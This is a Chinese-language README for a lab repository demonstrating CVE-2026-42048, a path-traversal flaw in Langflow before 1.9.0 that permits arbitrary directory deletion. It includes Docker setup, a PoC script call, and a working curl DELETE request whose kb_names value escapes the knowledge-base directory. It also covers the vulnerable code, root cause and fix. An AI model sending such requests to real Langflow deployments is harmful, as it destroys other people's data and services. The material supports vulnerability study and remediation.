CVE-2026-42048 Langflow 路径遍历 / 任意目录删除 PoC
https://github.com/user-attachments/assets/6e5481ff-e953-47a5-8870-70b30c6550de
CVE-2026-42048:Langflow 任意目录删除漏洞
描述:Langflow 1.9.0 之前的版本存在一个路径遍历漏洞,允许已认证的攻击者通过批量删除端点 DELETE /api/v1/knowledge_bases 删除预期知识库存储路径之外的目录。该问题的成因是:用户可控的 kb_names 值被用于构造文件系统路径,而缺乏适当的规范化和包含性验证。
成功利用需要满足以下条件:
1.9.0 之前)。DELETE /api/v1/knowledge_bases
PR:L)。kb_names 请求体参数。该漏洞无法绕过操作系统文件权限,它滥用了 Langflow 自身的路径处理和删除逻辑。
使用 Docker 构建并运行漏洞环境:
docker build -t cve-2026-42048 .
docker run --rm -d -p 9101:9101 --name cve-2026-42048 cve-2026-42048
curl http://127.0.0.1:9101/status
该实验会在以下位置创建一个一次性目标目录:
/target/CVE-2026-42048
/status 端点会报告该目录是否仍然存在。
python3 poc.py
交互式输入:
Vulnerable URL: http://127.0.0.1:9101
Path to delete [/target/CVE-2026-42048]:
curl -s -X DELETE http://127.0.0.1:9101/api/v1/knowledge_bases \
-H "Content-Type: application/json" \
-d '{"kb_names":["/target/CVE-2026-42048"]}'
curl http://127.0.0.1:9101/status
如果利用成功,target_exists 会从 true 变为 false。
存在漏洞的端点
DELETE /api/v1/knowledge_bases
该漏洞存在于 Langflow 的知识库批量删除 API 中。受影响的处理器通过 kb_names 参数接收知识库名称列表,并使用每个值构建用于删除的文件系统路径。
在存在漏洞的版本中,批量删除逻辑会手动构造路径,而不是使用其他知识库端点所采用的更安全的路径解析辅助函数。该漏洞模式的简化表示如下:
kb_root_path = KBStorageHelper.get_root_path()
kb_user_path = kb_root_path / current_user.username
for kb_name in request.kb_names:
kb_path = kb_user_path / kb_name
if not kb_path.exists() or not kb_path.is_dir():
continue
KBStorageHelper.delete_storage(kb_path, kb_name)
删除辅助函数最终会通过递归删除逻辑移除目标目录。由于 kb_name 由攻击者控制,../ 等路径遍历序列可以逃逸当前用户的知识库目录。在 Python 的 pathlib 中,右侧提供的绝对路径也可以覆盖先前的路径组件:
Path("/safe/base") / "/target/CVE-2026-42048"
# -> /target/CVE-2026-42048
因此,只要 Langflow 进程拥有删除该目录的权限,精心构造的 kb_names 值就可以导致 Langflow 删除预期知识库存储根目录之外的目录。
这是一个 CWE-22:对受限目录的路径名限制不当 问题。
根本原因在于:递归删除之前,对用户控制的路径组件缺乏充分的规范化和边界验证。存在漏洞的批量删除端点只检查最终路径是否存在,却没有确保解析后的路径仍然处于已认证用户的知识库目录之内。
一个稳健的修复方案必须:
Path.resolve() 规范化最终路径Langflow 已在 1.9.0 中修复此问题。
任意目录删除会直接影响完整性和可用性。根据部署权限和文件系统布局的不同,攻击者可能能够:
该问题不需要任意代码执行即可造成危害。以应用程序权限进行递归删除,就足以破坏数据和可用性。
+-------------------------------------------+
| Authenticated User |
+-------------------------------------------+
|
| DELETE /api/v1/knowledge_bases
| kb_names = ["/target/CVE-2026-42048"]
v
+-------------------------------------------+
| Langflow Knowledge Base API |
+-------------------------------------------+
|
| Unsafe path construction
v
+-------------------------------------------+
| Path Escapes Intended KB User Directory |
+-------------------------------------------+
|
| Recursive directory deletion
v
+-------------------------------------------+
| Arbitrary Directory Deletion |
+-------------------------------------------+
本实验在端口 9101 上暴露了一个小型挑战代理。该代理隐藏了完整的 Langflow UI 和直接的后端端口,仅转发本练习所需的最少漏洞 API 路径。
本实验的目标目录为:
/target/CVE-2026-42048
可以使用 /status 端点来确认目标目录已被删除。
docker stop cve-2026-42048
本仓库并非旨在帮助对 Langflow 实例进行未授权利用。本项目旨在帮助安全研究人员、防御者和开发者理解该漏洞、在受控环境中验证暴露面,并应用有效的缓解措施。
https://github.com/langflow-ai/langflow/security/advisories/GHSA-9whx-c884-c68q